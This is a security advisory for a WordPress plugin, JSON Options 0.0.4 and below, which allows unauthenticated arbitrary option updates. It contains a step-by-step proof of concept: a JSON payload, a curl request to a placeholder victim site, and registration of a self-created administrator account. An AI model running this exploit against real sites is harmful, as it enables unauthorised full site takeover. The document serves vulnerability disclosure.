JSON Options <= 0.0.4 – Unauthenticated Arbitrary Options Update | CVE 2026-75860

Description

The plugin does not have any capability check or nonce verification on one of its actions, which runs on every request and is available to unauthenticated users, allowing them to update arbitrary WordPress options. This can be leveraged to enable user registration and set the default role to administrator, leading to privilege escalation and full site takeover.

Proof of Concept

Prerequisites: JSON Options 0.0.4 installed and active on a clean WordPress install. No account and no prior access of any kind is needed.

1) Confirm the baseline options (BEFORE):

  wp option get users_can_register   # => 0
  wp option get default_role         # => subscriber

2) As an UNAUTHENTICATED user, upload a crafted JSON options file.

payload.json:

  {"users_can_register": "1", "default_role": "administrator"}

Request (no authentication, no nonce):

  curl -i -X POST "https://victim.example/" \
    -F 'json_options_filter_combine=or' \
    -F 'json_options_filter_compare=contains' \
    -F 'json_options_upload=@payload.json;type=application/json'

3) Verify the options were overwritten (AFTER):

  wp option get users_can_register   # => 1
  wp option get default_role         # => administrator

4) Complete the takeover: register a new account at

  https://victim.example/wp-login.php?action=register

The self-registered account is created with the administrator role, since core's registration flow honours `default_role`, granting `manage_options` and full site control.

Any option name can be set this way; the two above are simply the shortest route to administrator.